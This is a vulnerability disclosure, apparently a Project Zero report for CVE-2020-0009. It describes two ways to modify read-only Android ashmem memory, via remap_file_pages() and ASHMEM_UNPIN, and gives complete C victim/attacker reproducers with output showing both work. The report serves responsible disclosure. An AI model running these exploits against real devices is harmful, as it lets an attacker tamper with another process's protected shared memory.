Share
Android: ashmem readonly bypasses via remap_file_pages() and ASHMEM_UNPIN  
  
This bug report describes two ways in which an attacker can modify the contents  
of a read-only ashmem fd. I'm not sure at this point what the most interesting  
user of ashmem is in the current Android release, but there are various users,  
including Chrome and a bunch of utility classes.  
In AOSP master, there is even code in  
<https://android.googlesource.com/platform/art/+/master/runtime/jit/jit_memory_region.cc>  
that uses ashmem for some JIT zygote mapping, which sounds extremely  
interesting.  
  
  
Android's ashmem kernel driver has an ->mmap() handler that attempts to lock  
down created VMAs based on a configured protection mask such that in particular  
write access to the underlying shmem file can never be gained. It tries to do  
this as follows (code taken from upstream Linux  
drivers/staging/android/ashmem.c):  
  
static inline vm_flags_t calc_vm_may_flags(unsigned long prot)  
{  
return _calc_vm_trans(prot, PROT_READ, VM_MAYREAD) |  
_calc_vm_trans(prot, PROT_WRITE, VM_MAYWRITE) |  
_calc_vm_trans(prot, PROT_EXEC, VM_MAYEXEC);  
}  
[...]  
static int ashmem_mmap(struct file *file, struct vm_area_struct *vma)  
{  
struct ashmem_area *asma = file->private_data;  
[...]  
/* requested protection bits must match our allowed protection mask */  
if ((vma->vm_flags & ~calc_vm_prot_bits(asma->prot_mask, 0)) &  
calc_vm_prot_bits(PROT_MASK, 0)) {  
ret = -EPERM;  
goto out;  
}  
vma->vm_flags &= ~calc_vm_may_flags(~asma->prot_mask);  
[...]  
if (vma->vm_file)  
fput(vma->vm_file);  
vma->vm_file = asma->file;  
[...]  
return ret;  
}  
  
This ensures that the protection flags specified by the caller don't conflict  
with the ->prot_mask, and it also clears the VM_MAY* flags as needed to prevent  
the user from afterwards adding new protection flags via mprotect().  
  
However, it improperly stores the backing shmem file, whose ->mmap() handler  
does not enforce the same restrictions, in ->vm_file. An attacker can abuse this  
through the remap_file_pages() syscall, which grabs the file pointer of an  
existing VMA and calls its ->mmap() handler to create a new VMA. In effect,  
calling remap_file_pages(addr, size, 0, 0, 0) on an ashmem mapping allows an  
attacker to raise the VM_MAYWRITE bit, allowing the attacker to gain write  
access to the ashmem allocation's backing file via mprotect().  
  
  
Reproducer (works both on Linux from upstream master in an X86 VM and on a  
Pixel 2 at security patch level 2019-09-05 via adb):  
  
====================================================================  
user@vm:~/ashmem_remap$ cat ashmem_remap_victim.c  
#include <unistd.h>  
#include <stdlib.h>  
#include <fcntl.h>  
#include <err.h>  
#include <stdio.h>  
#include <sys/mman.h>  
#include <sys/ioctl.h>  
#include <sys/wait.h>  
  
#define __ASHMEMIOC 0x77  
#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)  
#define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long)  
  
int main(void) {  
int ashmem_fd = open(\"/dev/ashmem\", O_RDWR);  
if (ashmem_fd == -1)  
err(1, \"open ashmem\");  
if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000))  
err(1, \"ASHMEM_SET_SIZE\");  
char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);  
if (mapping == MAP_FAILED)  
err(1, \"mmap ashmem\");  
if (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ))  
err(1, \"ASHMEM_SET_SIZE\");  
mapping[0] = 'A';  
printf(\"mapping[0] = '%c'\  
\", mapping[0]);  
  
if (dup2(ashmem_fd, 42) != 42)  
err(1, \"dup2\");  
pid_t child = fork();  
if (child == -1)  
err(1, \"fork\");  
if (child == 0) {  
execl(\"./ashmem_remap_attacker\", \"ashmem_remap_attacker\", NULL);  
err(1, \"execl\");  
}  
int status;  
if (wait(&status) != child) err(1, \"wait\");  
printf(\"mapping[0] = '%c'\  
\", mapping[0]);  
}user@vm:~/ashmem_remap$ cat ashmem_remap_attacker.c  
#define _GNU_SOURCE  
#include <unistd.h>  
#include <sys/mman.h>  
#include <err.h>  
#include <stdlib.h>  
#include <stdio.h>  
  
int main(void) {  
int ashmem_fd = 42;  
  
/* sanity check */  
char *write_mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);  
if (write_mapping == MAP_FAILED) {  
perror(\"mmap ashmem writable failed as expected\");  
} else {  
errx(1, \"trivial mmap ashmem writable worked???\");  
}  
  
char *mapping = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, ashmem_fd, 0);  
if (mapping == MAP_FAILED)  
err(1, \"mmap ashmem readonly failed\");  
  
if (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE) == 0)  
errx(1, \"mprotect ashmem writable worked???\");  
  
if (remap_file_pages(mapping, /*size=*/0x1000, /*prot=*/0, /*pgoff=*/0, /*flags=*/0))  
err(1, \"remap_file_pages\");  
  
if (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE))  
err(1, \"mprotect ashmem writable failed, attack didn't work\");  
  
mapping[0] = 'X';  
  
puts(\"attacker exiting\");  
}user@vm:~/ashmem_remap$ gcc -o ashmem_remap_victim ashmem_remap_victim.c  
user@vm:~/ashmem_remap$ gcc -o ashmem_remap_attacker ashmem_remap_attacker.c  
user@vm:~/ashmem_remap$ ./ashmem_remap_victim  
mapping[0] = 'A'  
mmap ashmem writable failed as expected: Operation not permitted  
attacker exiting  
mapping[0] = 'X'  
user@vm:~/ashmem_remap$   
====================================================================  
  
Interestingly, the (very much deprecated) syscall remap_file_pages() isn't even  
listed in bionic's SYSCALLS.txt, which would normally cause it to be blocked by  
Android's seccomp policy; however, SECCOMP_WHITELIST_APP.txt explicitly permits  
it for 32-bit ARM applications:  
  
# b/36435222  
int remap_file_pages(void *addr, size_t size, int prot, size_t pgoff, int flags) arm,x86,mips  
  
  
  
  
ashmem supports purgable memory via ASHMEM_UNPIN/ASHMEM_PIN. Unfortunately,  
there is no access control for these - even if you only have read-only access to  
an ashmem file, you can still mark pages in it as purgable, causing them to  
effectively be zeroed out when the system is under memory pressure. Here's a  
simple test for that (to be run in an X86 Linux VM):  
  
====================================================================  
user@vm:~/ashmem_purging$ cat ashmem_purge_victim.c  
#include <unistd.h>  
#include <stdlib.h>  
#include <fcntl.h>  
#include <err.h>  
#include <stdio.h>  
#include <sys/mman.h>  
#include <sys/ioctl.h>  
#include <sys/wait.h>  
  
#define __ASHMEMIOC 0x77  
#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)  
#define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long)  
  
int main(void) {  
int ashmem_fd = open(\"/dev/ashmem\", O_RDWR);  
if (ashmem_fd == -1)  
err(1, \"open ashmem\");  
if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000))  
err(1, \"ASHMEM_SET_SIZE\");  
char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);  
if (mapping == MAP_FAILED)  
err(1, \"mmap ashmem\");  
if (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ))  
err(1, \"ASHMEM_SET_SIZE\");  
mapping[0] = 'A';  
printf(\"mapping[0] = '%c'\  
\", mapping[0]);  
  
if (dup2(ashmem_fd, 42) != 42)  
err(1, \"dup2\");  
pid_t child = fork();  
if (child == -1)  
err(1, \"fork\");  
if (child == 0) {  
execl(\"./ashmem_purge_attacker\", \"ashmem_purge_attacker\", NULL);  
err(1, \"execl\");  
}  
int status;  
if (wait(&status) != child) err(1, \"wait\");  
printf(\"mapping[0] = '%c'\  
\", mapping[0]);  
}  
user@vm:~/ashmem_purging$ cat ashmem_purge_attacker.c  
#include <unistd.h>  
#include <stdlib.h>  
#include <fcntl.h>  
#include <err.h>  
#include <stdio.h>  
#include <sys/mman.h>  
#include <sys/ioctl.h>  
  
struct ashmem_pin {  
unsigned int offset, len;  
};  
  
#define __ASHMEMIOC 0x77  
#define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t)  
#define ASHMEM_UNPIN _IOW(__ASHMEMIOC, 8, struct ashmem_pin)  
  
int main(void) {  
struct ashmem_pin pin = { 0, 0 };  
if (ioctl(42, ASHMEM_UNPIN, &pin))  
err(1, \"unpin 42\");  
  
/* ensure that shrinker doesn't get skipped */  
int ashmem_fd = open(\"/dev/ashmem\", O_RDWR);  
if (ashmem_fd == -1)  
err(1, \"open ashmem\");  
if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x100000))  
err(1, \"ASHMEM_SET_SIZE\");  
char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0);  
if (mapping == MAP_FAILED)  
err(1, \"mmap ashmem\");  
if (ioctl(ashmem_fd, ASHMEM_UNPIN, &pin))  
err(1, \"unpin 42\");  
  
/* simulate OOM */  
system(\"sudo sh -c 'echo 2 > /proc/sys/vm/drop_caches'\");  
  
puts(\"attacker exiting\");  
}  
user@vm:~/ashmem_purging$ gcc -o ashmem_purge_victim ashmem_purge_victim.c  
user@vm:~/ashmem_purging$ gcc -o ashmem_purge_attacker ashmem_purge_attacker.c  
user@vm:~/ashmem_purging$ ./ashmem_purge_victim  
mapping[0] = 'A'  
attacker exiting  
mapping[0] = ''  
user@vm:~/ashmem_purging$   
====================================================================  
  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
Related CVE Numbers: CVE-2020-0009.  
  
  
  
Found by: jannh@google.com